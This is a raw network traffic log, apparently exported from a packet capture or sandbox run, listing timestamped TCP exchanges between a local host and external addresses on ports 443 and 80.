Nov 18, 2024 18:21:59.817760944 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.817919016 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.817934036 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.818320990 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.818331003 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.818391085 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.818401098 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.818409920 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.818442106 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.818778992 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.818789005 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.818828106 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.818836927 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.818876982 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.819252014 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.819258928 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.819299936 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.819308043 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.819356918 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.819710970 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.819720030 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.819765091 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.819776058 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.820184946 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.820236921 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.820249081 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.820256948 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.820291042 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.820475101 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.820483923 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.820527077 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.820537090 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.820914030 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.820971966 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.820982933 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.821554899 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.821608067 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.821619034 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.821877003 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.821932077 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.821942091 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.822134972 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.822182894 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.822195053 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.822694063 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.822747946 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.822758913 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.836786985 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.862972975 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.863038063 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.863053083 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.935326099 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.935396910 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.935415030 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.935797930 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.935806036 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.935836077 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.935842991 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.935851097 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.935880899 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.935971022 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.935977936 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.936009884 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.936017990 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.936050892 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.936146021 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.936733007 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.936741114 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.936786890 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.936794043 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.937300920 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.937352896 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.937361956 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.937370062 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.937401056 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.937530994 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.937540054 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.937582970 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.937588930 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.938307047 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.938361883 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.938368082 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.938802004 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.938848972 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.938855886 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.939800024 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.939851046 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.939857960 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.940094948 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.940140963 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.940149069 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.940460920 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.940515995 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.940522909 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.941276073 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.941337109 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.941344976 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.979816914 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.979911089 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.979939938 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.180124998 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.244801044 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.244815111 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.244883060 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.244926929 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.244945049 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.244946003 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.244956970 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.244963884 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.244986057 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.244992018 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245013952 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.245028019 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245047092 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.245313883 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245326042 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245367050 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.245373011 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245384932 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245410919 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.245552063 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245562077 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245599985 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.245606899 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245634079 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245640993 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245646954 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.245656967 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245662928 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.245671034 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.245693922 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.245727062 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.246356964 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.246367931 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.246419907 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.246426105 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.246428013 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.246469975 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.246474028 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.246506929 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.247270107 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.247327089 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.247337103 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.247354031 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.247397900 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.247406960 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.247415066 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.247462034 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.247579098 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.248485088 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.248537064 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.248548031 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.248560905 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.248584986 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.248593092 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.248631001 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.248636007 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.248646021 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.248794079 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.249372005 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.249429941 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.249439955 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.250286102 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.250334978 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.250338078 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.250351906 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.250395060 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.250403881 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.250415087 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.251115084 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.251163960 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.251173973 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.251185894 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.251214981 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.251223087 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.251240969 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.251247883 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.251291037 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.251296043 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.251758099 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.252029896 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252079964 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.252088070 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252098083 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252136946 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.252144098 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252157927 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.252206087 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.252516031 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252566099 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.252572060 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252582073 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252612114 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.252619982 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252643108 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252688885 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.252696037 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252710104 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:00.252744913 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.253073931 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.253114939 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:00.261986017 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:04.520049095 CET	80	49171	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:04.520262957 CET	49171	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:07.462039948 CET	49171	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:07.462061882 CET	49168	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:22:16.093796968 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.098916054 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.098979950 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.099082947 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.104510069 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.277590990 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:16.277626991 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:16.277688026 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:16.278934002 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:16.278949976 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:16.764638901 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.764700890 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.764750957 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.764936924 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.764986038 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.764997959 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.765022993 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.765120029 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.765131950 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.765165091 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.766000986 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.766012907 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.766025066 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.766050100 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.769748926 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.769793987 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.769813061 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.881634951 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.881691933 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.881747007 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.882086039 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.882124901 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.882159948 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.882174015 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.882186890 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.882205963 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.882256031 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.882292986 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.882985115 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.883039951 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.883052111 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.883084059 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.883128881 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.883141041 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.883172989 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.883397102 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.883549929 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.883598089 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.998905897 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.998933077 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.998944998 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.998982906 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.999073982 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.999135971 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.999145985 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.999172926 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:16.999959946 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:16.999995947 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.000003099 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:17.000009060 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.000044107 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:17.000159025 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.000179052 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.000190973 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.000222921 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:17.045924902 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.045944929 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.045958042 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.045970917 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.046003103 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:17.046035051 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:17.116000891 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.116020918 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.116041899 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.116055012 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.116069078 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.116070986 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:17.116122007 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:17.116975069 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.116985083 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.117022991 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:17.117068052 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.117079973 CET	80	49172	107.172.44.178	192.168.2.22
Nov 18, 2024 18:22:17.117117882 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:17.200397015 CET	49172	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:22:17.352852106 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.352916956 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:17.359272003 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:17.359283924 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.359568119 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.412595987 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:17.455329895 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.724504948 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.724544048 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.724598885 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:17.724625111 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.845597029 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.845612049 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.845669985 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:17.845683098 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.888360023 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.888375998 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.888408899 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.888427019 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:17.888439894 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.888478041 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:17.888478041 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:17.997646093 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.997658014 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.997720003 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:17.997730017 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:17.997795105 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.052275896 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.052294970 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.052335024 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.052365065 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.052421093 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.052421093 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.182651997 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.182663918 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.182729959 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.182758093 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.237292051 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.237302065 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.237376928 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.237406969 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.293215990 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.293226957 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.293294907 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.293307066 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.293370008 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.294632912 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:18.329319954 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:18.329329014 CET	443	49173	142.215.209.78	192.168.2.22
